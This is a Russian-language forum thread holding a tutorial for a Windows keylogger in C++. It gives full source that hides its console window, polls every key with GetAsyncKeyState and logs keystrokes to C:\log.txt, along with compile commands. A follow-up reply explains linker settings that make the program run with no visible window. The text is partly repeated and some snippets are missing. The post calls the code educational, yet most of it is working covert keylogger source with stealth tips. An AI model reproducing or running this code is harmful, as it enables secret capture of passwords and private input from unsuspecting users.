Keylogger на С++
Модератор: Вася Сташевский
- Вася Сташевский
- Автор статей и описаний
- Сообщения: 55
- Зарегистрирован: 24 мар 2015, 20:21
- Контактная информация:
Keylogger на С++
Будем писать программу в функции которой будет входить чтение вводимых клавиш клавиатуры и запись их в текстовый файл.
Для работы нам понадобится текстовый файл и компилятор C++
Компилятор на ваш вкус,можете использовать VC++ или С++ Builder.
Хотя их на много больше.
Для компиляции в VC++
Для компиляции в С++ Builder=
Создадим текстовый файл(keylogger.txt)
В нём пишем:
Дальше сохраняем это всё и меняем разрешение файла на cpp(keylogger.cpp)
Компилировать будем на С++ Builder.
Открываем "Командную строку"(Для тех кто не знает win+R пишем cmd и нажимаем Enter)
Пишем bcc32.exe C:\\путь\keylogger.cpp
У вас получится три файла keylogger.obj keylogger.tds и наш исполняемый файл keylogger.exe(два других можете удалить)
Не большие объяснения что же мы написали:
Использовали во первых GetAsyncKeyState
определяет, является ли клавиша отпущенной или нажатой во время вызова функции и была ли клавиша нажата после предыдущего вызова GetAsyncKeyState.
Для работы GetAsyncKeyState подключили #include <windows.h>
Здесь мы:
открываем консоль и вводим значение cout << key << endl; ,после чего записываем в файл.
Что бы консоль не было видно использовали:
Основное действие происходит уже не посредственно в:
где C:\\log.txt куда сохраняется лог.
Естественно не все клавиши выводятся,для этого нужно дописывать к примеру:
В общем старался как мог написать статью,если есть вопросы буду рад ответить.
Цель статьи не написание полноценного кейлоггера,а с целью что бы начали проникаться в мир программирования.
Удачи. Код предоставлен в ознакомительных целях.
Для работы нам понадобится текстовый файл и компилятор C++
Компилятор на ваш вкус,можете использовать VC++ или С++ Builder.
Хотя их на много больше.
Для компиляции в VC++
Код: Выделить всё
cl -GL C:\\путь\файл.cpp
Код: Выделить всё
bcc32.exe C:\\путь\файл.cpp
В нём пишем:
Код: Выделить всё
#include <iostream>
#include <windows.h>
#include <winuser.h>
using namespace std;
int S (int key, char *files);
void Hide();
int S (int key, char *files)
{
if ( (key == 1) || (key == 2) )
return 0;
FILE *Save;
Save = fopen(files, "a+");
cout << key << endl;
fprintf(Save, "%s", &key);
fclose (Save);
return 0;
}
void Hide()
{
HWND Hide;
AllocConsole();
Hide = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Hide,0);
}
int main()
{
Hide();
char q;
while (1)
{
for(q = 8; q <= 190; q++)
{
if (GetAsyncKeyState(q) == -32767)
S (q,"C:\\log.txt");
}
}
system ("PAUSE");
return 0;
}
Компилировать будем на С++ Builder.
Открываем "Командную строку"(Для тех кто не знает win+R пишем cmd и нажимаем Enter)
Пишем bcc32.exe C:\\путь\keylogger.cpp
У вас получится три файла keylogger.obj keylogger.tds и наш исполняемый файл keylogger.exe(два других можете удалить)
Не большие объяснения что же мы написали:
Использовали во первых GetAsyncKeyState
определяет, является ли клавиша отпущенной или нажатой во время вызова функции и была ли клавиша нажата после предыдущего вызова GetAsyncKeyState.
Для работы GetAsyncKeyState подключили #include <windows.h>
Здесь мы:

Что бы консоль не было видно использовали:


Естественно не все клавиши выводятся,для этого нужно дописывать к примеру:
Код: Выделить всё
if (key == VK_TAB)
fprintf(Save, "%s", "[TAB]");
Цель статьи не написание полноценного кейлоггера,а с целью что бы начали проникаться в мир программирования.
Удачи. Код предоставлен в ознакомительных целях.
- Ярослав Пахомов
- Новичок
- Сообщения: 1
- Зарегистрирован: 17 авг 2015, 00:39
- Контактная информация:
Keylogger на С++
Я конечно слоупок, но как сделать чтобы консоль не выплывала а то её чего-то видно



- Вася Сташевский
- Автор статей и описаний
- Сообщения: 55
- Зарегистрирован: 24 мар 2015, 20:21
- Контактная информация:
Keylogger на С++
Если пишешь в Windows в Visual Studio, просто выбери при создании пустой проект Windows Application.Ярослав Пахомов писал(а):Я конечно слоупок, но как сделать чтобы консоль не выплывала а то её чего-то видно![]()
Или alt + f7, Linker, Advanced и в Entery Point пишем: mainCRTStartup, дальше идём в Linker,System меняем SubSystem на Windows (/SUBSYSTEM:WINDOWS).
Кто сейчас на конференции
Сейчас этот форум просматривают: нет зарегистрированных пользователей и 0 гостей